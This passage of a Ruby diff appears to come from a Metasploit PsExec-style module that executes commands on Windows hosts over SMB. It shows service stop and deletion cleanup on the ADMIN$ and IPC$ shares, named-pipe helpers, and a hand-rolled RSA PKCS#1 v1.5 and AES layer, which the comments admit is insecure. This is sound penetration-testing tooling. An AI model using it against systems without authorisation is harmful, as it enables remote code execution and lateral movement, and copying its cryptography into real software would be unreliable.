smbclient.close(psexecsvc_proc_stdout.file_id) rescue nil + smbclient.close(psexecsvc_proc_stderr.file_id) rescue nil + smbclient.close(psexecsvc_proc.file_id) rescue nil + + # Stop the service. + begin + print_status('Stopping the service...') + unless dce_stopservice(dcerpc, svc_handle) + print_error('Error while stopping the service.') + # We will try to continue anyway... + end + rescue Rex::Proto::SMB::Exceptions::InvalidType => e + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") + end + + # Wait a little bit for it to stop before we delete the service. + begin + if wait_for_service_to_stop(svc_handle) == false + print_error('Could not stop the PSEXECSVC service. Attempting to continue cleanup...') + end + rescue Rex::Proto::SMB::Exceptions::InvalidType => e + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") + end + + # Delete the service. + begin + print_status("Removing the service...") + unless dce_deleteservice(dcerpc, svc_handle) + print_error('Error while deleting the service.') + # We will try to continue anyway... + end + + print_status("Closing service handle...") + unless dce_closehandle(dcerpc, svc_handle) + print_error('Error while closing the service handle.') + # We will try to continue anyway... + end + rescue Rex::Proto::SMB::Exceptions::InvalidType => e + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") + end + + + # Disconnect from the IPC$ share. + print_status("Disconnecting from \\\\#{datastore['RHOST']}\\IPC\$") + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC\$") + + # Connect to the ADMIN$ share so we can delete PSEXECSVC.EXE. + print_status("Connecting to \\\\#{datastore['RHOST']}\\ADMIN\$") + simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + print_status('Deleting \\PSEXESVC.EXE...') + simple.delete('\\PSEXESVC.EXE') + + # Disconnect from the ADMIN$ share. Now we're done! + print_status("Disconnecting from \\\\#{datastore['RHOST']}\\ADMIN\$") + simple.disconnect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + end + + # Connects to the specified named pipe. If it cannot be done, up + # to three retries are made. + def connect_to_pipe(pipe_name) + retries = 0 + pipe_fd = nil + while (retries < 3) and (pipe_fd == nil) + # On the first retry, wait one second, on the second + # retry, wait two... + select(nil, nil, nil, retries) + + begin + pipe_fd = simple.create_pipe(pipe_name) + rescue + retries += 1 + end + end + + if pipe_fd != nil + print_status("Connected to named pipe #{pipe_name}.") + else + print_error("Failed to connect to #{pipe_name}!") + end + + return pipe_fd + end + + # Query the service and wait until its stopped. Wait one second + # before the first retry, two seconds before the second retry, + # and three seconds before the last attempt. + def wait_for_service_to_stop(svc_handle) + service_stopped = false + retries = 0 + while (retries < 3) and (service_stopped == false) + Rex.sleep(retries) + + if dce_queryservice(dcerpc, svc_handle) == 2 + service_stopped = true + else + retries += 1 + end + end + return service_stopped + end + + # Loads a PKCS#1 RSA public key from Microsoft's CryptExportKey function. + # Returns a OpenSSL::PKey::RSA object on success, or nil on failure. + def load_rsa_public_key(blob) + + blob = blob[1..-1] + + # PUBLICKEYSTRUC + b_type = blob[0, 1].ord + b_version = blob[1, 1].ord + reserved = blob[2, 2] + ai_key_alg = blob[4, 4].unpack("L")[0] + + # RSAPUBKEY + magic = blob[8, 4] + bitlen = blob[12, 4].unpack("L")[0].to_i + pubexp_be = blob[16, 4].unpack('N*').pack('V*') + pubexp_le = blob[16, 4].unpack("L")[0] + modulus_le = blob[20, blob.length - 20] + modulus_be = modulus_le.reverse + + # This magic value is "RSA1". + if magic != "\x52\x53\x41\x31" then + print_error "Magic value is unexpected!: 0x" << magic.unpack("H*")[0] + return nil + end + + if bitlen != 1024 then + print_error "RSA modulus is not 1024 as expected!: " << bitlen.to_s + return nil + end + + if pubexp_le.to_i != 65537 then + print_error "Public exponent is not 65537 as expected!: " << pubexp_le.to_i.to_s + return nil + end + + return OpenSSL::PKey::RSA.new(make_der_stream(modulus_be, pubexp_be)) + end + + # The Ruby OpenSSLs ASN.1 documentation is terrible, so I had to construct + # the DER encoding for the key myself. If anyone knows how to re-write this + # with the ASN.1 support, please do! + # + # The ASN.1 encoder at http://lapo.it/asn1js/ was a big help here. + def make_der_stream(modulus_be, pubexp_be) + + modulus_len = modulus_be.length + 1 # + 1 for the extra \x00 + modulous_len_byte = [modulus_len].pack('C') + modulous_integer = "\x02\x81" << modulous_len_byte << "\x00" << modulus_be + + pubexp_len = pubexp_be.length + pubexp_len_byte = [pubexp_len].pack('C') + pubexp_integer = "\x02" << pubexp_len_byte << pubexp_be + + modulus_exp_sequence_len = modulus_len + 3 + pubexp_len + 2 + modulus_exp_sequence_len_byte = [modulus_exp_sequence_len].pack('C') + modulus_exp_sequence = "\x30\x81" << modulus_exp_sequence_len_byte << modulous_integer << pubexp_integer + + bit_string_len = modulus_exp_sequence_len + 3 + 1 # + 1 for the extra \x00 + bit_string_len_byte = [bit_string_len].pack('C') + bit_string = "\x03\x81" << bit_string_len_byte << "\x00" << modulus_exp_sequence + + oid = "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01" + null = "\x05\x00" + oid_null_sequence = "\x30\x0d" << oid << null + oid_null_sequence_len = oid_null_sequence.length + + parent_sequence_len = oid_null_sequence_len + bit_string_len + 3 + parent_sequence_len_byte = [parent_sequence_len].pack('C') + parent_sequence = "\x30\x81" << parent_sequence_len_byte << oid_null_sequence << bit_string + + return parent_sequence + end + + # This is the I2OSP function, as defined in RSA PKCS#1 v2.1. It takes a + # number and encodes it into a byte string. + def i2osp(n, len) + # Technically, we need to check that x isn't too large, but for this usage, + # we're fine. + + n = n.to_i + ret = "" + + # Loop through all 32-bit words. Note that n.size will return 128 when n is + # a 1024-bit number. + for i in 0..((n.size / 4) - 1) + # Grab the lower 32 bits only. + word = n & 4294967295 + + # Convert this word to a big-endian byte and add it to the result. + ret = [word].pack("N") << ret + + # We're now done with processing the lower 32 bits. + n = n >> 32 + end + + ret = ret.sub(/^\x00+/, '') + return ("\x00" * (len - ret.size)) << ret + end + + # This is the OS2IP function, as defined in RSA PKCS#1 v2.1. It takes a + # string and returns its number representation. + def os2ip(astring) + ret = 0 + astring.each_byte do |b| + ret = ret << 8 + ret = ret | b + end + ret + end + + # Perform RSA PKCS#1 v1.5 encryption with a public key and a message. The + # result is in little-endian format for Microsoft's CryptImportKey to + # understand. + # + # This implementation works for its intended purpose, but note that it is + # missing length checks that are needed for security in other situations. + # Also note that v1.5 of the spec is deprecated. + def rsa_encrypt(key, message) + ps_len = 128 - 3 - message.length + ps = OpenSSL::Random.random_bytes(ps_len) + + # Yeah, that's right... a for loop. U mad, bro? + for i in 0..ps.length - 1 + # According to the spec, this random string must not have any zero bytes. + if ps[ i ] == "\x00" then + # For better entropy (and security), it would be better to re-generate + # another random byte, but then we'd need more logic to ensure it too + # wasn't zero. All in favor of being lazy say "aye!" + # + # Aye! + ps[ i ] = "\x69" + end + end + + eb = "\x00\x02" << ps << "\x00" << message + m = os2ip(eb) + c = m.to_bn.mod_exp(key.e, key.n).to_bn + em = i2osp(c, 128) + em.reverse + end + + # Encrypts or decrypts a message with AES, if configured, or returns the + # plaintext unmodified. + def aes(message, cipher) + if not cipher.nil? then + return cipher.update(message) << cipher.final + else + return message + end + end + +end